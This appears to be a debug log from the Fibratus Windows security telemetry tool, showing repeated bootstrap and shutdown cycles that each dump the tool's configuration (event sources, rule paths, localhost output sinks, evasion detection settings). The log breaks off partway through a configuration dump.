timeout=>5s flush-period=>1s enabled=>false trace-log=>false template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus healthcheck=>true gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200]] http=>[ endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] enabled=>false excluded-procs=>[] skip-files=>false fastscan=>true skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T14:56:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:56:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:56:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T14:56:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:56:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:00:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:00:33+01:00 level=info msg=bootstrapping with pid 18208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:00:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-audit-api=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-vamap=>true enable-mem=>false stack-enrichment=>true enable-dns=>false buffer-size=>512 enable-registry=>true enable-net=>true enable-thread=>true min-buffers=>16 enable-handle=>false enable-threadpool=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 max-age=>0 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ gzip-compression=>false timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s flush-period=>1s sniff=>false index-name=>fibratus healthcheck=>true template-name=>fibratus enabled=>false] http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false] amqp=>[ url=>amqp://localhost:5672 enabled=>false exchange=>fibratus vhost=>/ passive=>false routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false fastscan=>true scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:00:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:00:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:00:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:00:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:00:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:01:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:01:24+01:00 level=info msg=bootstrapping with pid 21100. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:01:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 enable-fileio=>true enable-registry=>true enable-net=>true stack-enrichment=>true enable-audit-api=>true enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-thread=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true buffer-size=>512 enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true enabled=>false template-name=>fibratus timeout=>5s trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s sniff=>false index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ endpoints=>[] enabled=>false method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json] amqp=>[ passive=>false timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false delivery-mode=>transient enabled=>false vhost=>/] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false fastscan=>true excluded-files=>[] excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:01:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:01:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:02:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:02:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:02:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:02:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:02:54+01:00 level=info msg=bootstrapping with pid 9244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:02:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false flush-interval=>1s enable-audit-api=>true min-buffers=>16 buffer-size=>512 enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-vamap=>true max-buffers=>36 enable-thread=>true enable-registry=>true enable-net=>true enable-handle=>false enable-threadpool=>false enable-dns=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true formatter=>text level=>info max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s passive=>false routing-key=>fibratus exchange=>fibratus durable=>false exchange-type=>topic] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s gzip-compression=>false sniff=>false healthcheck=>true trace-log=>false bulk-workers=>1 index-name=>fibratus flush-period=>1s template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ serializer=>json enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:02:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:02:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:03:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:03:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:03:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:03:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:03:25+01:00 level=info msg=bootstrapping with pid 12888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:03:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true max-buffers=>36 enable-mem=>false enable-vamap=>true enable-handle=>false buffer-size=>512 enable-threadpool=>false stack-enrichment=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-audit-api=>true enable-thread=>true enable-dns=>false flush-interval=>1s enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 max-size=>100 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus vhost=>/ delivery-mode=>transient enabled=>false durable=>false timeout=>5s routing-key=>fibratus passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false trace-log=>false timeout=>5s flush-period=>1s index-name=>fibratus bulk-workers=>1 enabled=>false healthcheck-interval=>10s] http=>[ timeout=>5s enable-gzip=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false skip-mmaps=>false fastscan=>true skip-allocs=>false excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:03:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:03:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:03:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:03:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:03:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:34:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:34:13+01:00 level=info msg=bootstrapping with pid 12640. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:34:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 stack-enrichment=>true buffer-size=>512 enable-dns=>false enable-thread=>true enable-mem=>false enable-audit-api=>true enable-vamap=>true enable-image=>true enable-fileio=>true max-buffers=>36 enable-net=>true enable-threadpool=>false flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ method=>POST enabled=>false timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s gzip-compression=>false healthcheck=>true enabled=>false sniff=>false timeout=>5s index-name=>fibratus] amqp=>[ delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false durable=>false passive=>false enabled=>false exchange-type=>topic vhost=>/ routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-files=>false enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:34:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:34:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:36:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:36:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:36:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:36:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:36:33+01:00 level=info msg=bootstrapping with pid 21180. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:36:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-image=>true min-buffers=>16 enable-threadpool=>false enable-dns=>false enable-mem=>false max-buffers=>36 buffer-size=>512 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-audit-api=>true flush-interval=>1s enable-fileio=>true stack-enrichment=>true enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 formatter=>text level=>info max-size=>100] + output ......................... [ http=>[ enabled=>false serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]] amqp=>[ enabled=>false url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus delivery-mode=>transient passive=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ durable=>false exchange=>fibratus] elasticsearch=>[ bulk-workers=>1 sniff=>false timeout=>5s template-name=>fibratus gzip-compression=>false trace-log=>false healthcheck=>true healthcheck-interval=>10s flush-period=>1s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] enabled=>false excluded-files=>[] fastscan=>true skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:36:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:36:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:38:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:38:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:38:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:38:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:38:51+01:00 level=info msg=bootstrapping with pid 21456. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:38:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-mem=>false enable-fileio=>true enable-handle=>false flush-interval=>1s min-buffers=>16 max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-audit-api=>true enable-net=>true buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient enabled=>false routing-key=>fibratus passive=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json method=>POST] elasticsearch=>[ gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus timeout=>5s index-name=>fibratus trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false scan-timeout=>10s enabled=>false skip-files=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T15:38:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:38:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T15:40:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T15:40:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:40:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T15:41:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T15:41:14+01:00 level=info msg=bootstrapping with pid 23164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T15:41:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-handle=>false max-buffers=>36 enable-mem=>false buffer-size=>512 enable-threadpool=>false enable-thread=>true enable-dns=>false enable-audit-api=>true min-buffers=>16 enable-fileio=>true enable-vamap=>true enable-net=>true enable-registry=>true flush-interval=>1s stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false serializer=>json method=>POST timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false] amqp=>[ durable=>false timeout=>5s enabled=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 routing-key=>fibratus passive=>false 